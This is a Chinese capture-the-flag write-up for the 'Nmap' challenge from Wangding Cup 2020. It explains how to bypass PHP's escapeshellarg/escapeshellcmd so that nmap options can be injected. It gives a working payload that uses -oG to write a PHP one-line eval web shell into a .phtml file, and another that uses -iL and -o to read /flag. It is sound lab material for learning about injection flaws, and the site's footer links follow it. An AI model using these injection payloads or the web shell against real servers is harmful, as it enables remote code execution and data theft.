[网鼎杯 2020 朱雀组]Nmap1

打开题目

在源代码中看到了提示

先随便输入127.0.0.1

那我们试试输入

127.0.0.1 | ls

可以看到 | 被转义符号\所转义

那我们输入 127.0.0.1 /| ls

得到三条反斜线

我们猜测,我们输入的东西是被escapeshellarg和escapeshellcmd处理过后的结果

我们输入的东西必须绕过这两个函数

1.直接放入payload

' <?php @eval($_POST["y"]);?> -oG hack.php '

可以看得出来对php字段有过滤

我们修改payload为' <?= @eval($_POST["y"]);?> -oG hack.phtml '

访问成功

蚁剑连接一下

在根目录下找到了flag

代码在linux下的运行结果

2.或者payload为

127.0.0.1' -iL /flag -o uuuu

我们访问一下uuuu' 文件

本来最开始我在idea运行的代码,感觉按照这个payload来应该是访问uuuu"

结果大佬告诉我linux下的php运行结果和window下的php运行结果不一样

这是linux下的运行结果

所以就应该是访问uuuu'

知识点:

1.转义字符

转义字符是指在ASCII码和Unicode等字符集中的无法被键盘录入的字符被当作特殊用途而需要转换回它原来的意义的字符。而转义字符转义是指字符已经被转换了意义

2.escapeshellcmd和escapeshellarg函数

  • escapeshellarg函数

在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。也就是会把一些字符替换成空格。

  • escapeshellcmd函数

反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\\x0A\xFF '" 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 %! 字符前面都有一个插入符号(^)。也就是会在这些字符前面插入 \ ,如果是在windows上就会插入^
 

实例:

1.

2.

详情见:

PHP: escapeshellcmd - Manual

nmap的一些命令

  •  nmap 192.168.96.4 -oX myscan.xml    //对扫描结果另存在myscan.xml

  • nmap -oG output.txt target

其中 target 是要扫描的目标主机或 IP 地址。这将在名为 output.txt 的文件中生成 grepable 格式的输出

  • nmap -iL target.txt

读取文件内容,以文件内容作为搜索目标,nmap 将读取 target.txt 文件中的每个目标,然后对每个目标执行扫描操作,并显示扫描结果。请确保 target.txt 文件的格式是每行一个目标主机或 IP 地址

如 nmap -iL target.txt -o result.txt

//扫描target.txt里面的内容并输出保存为result.txt

  • nmap -o系列

输出

-oN                                                         标准输出

-oX                                                         XMl输出

-oS                                                         script jlddi3

-oG                                                        grepable

-oA                                                         同时输出三种主要格式

-v                                                           信息详细级别

-d                                                           调试级别

--packet-trace                                        跟踪发送和接收的报文

--reason                                                 显示端口处于特殊状态的原因

--open                                                    仅显示开放的端口

关于一句话木马的小知识点

为什么<?php @eval(_POST["y"]); ?>可以替换成<?= @eval(_POST["y"]); ?>

主要是因为在php中,

<?=

?>

等价为

<?php echo

?>

总而言之就是,在 PHP 中,'<?= ?>' 是一种简短的标记,用于输出内容。它等效于 '<?php echo ?>' ,一句话木马就是php代码,需要去解析php,支持解析的文件有php3,php4,php5,phtml

知识点参考;

https://paper.seebug.org/164/

参考wp:

https://www.cnblogs.com/AikN/p/15727575.html

BUUCTF [网鼎杯 2020 朱雀组] Nmap_[网鼎杯 2020 朱雀组]nmap-CSDN博客

https://www.cnblogs.com/DenZi/articles/15343512.html

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-02 15:32:06       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-02 15:32:06       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-02 15:32:06       82 阅读
  4. Python语言-面向对象

    2024-04-02 15:32:06       91 阅读

热门阅读

  1. js判断对象是否为空的几种方法

    2024-04-02 15:32:06       40 阅读
  2. JVM基础

    JVM基础

    2024-04-02 15:32:06      42 阅读
  3. 【C/C++】C语言实现单链表

    2024-04-02 15:32:06       35 阅读
  4. Vue 中的修饰符

    2024-04-02 15:32:06       35 阅读
  5. Vue3:使用Pinia存储、读取、修改数据

    2024-04-02 15:32:06       39 阅读
  6. 算法3:查找算法

    2024-04-02 15:32:06       40 阅读
  7. 每日一题 日期统计

    2024-04-02 15:32:06       38 阅读
  8. COMP2017 9017 Assignment 2

    2024-04-02 15:32:06       32 阅读
  9. RAM IP核

    RAM IP核

    2024-04-02 15:32:06      44 阅读
  10. 1-31 正则表达式 String Buffer String Builder

    2024-04-02 15:32:06       39 阅读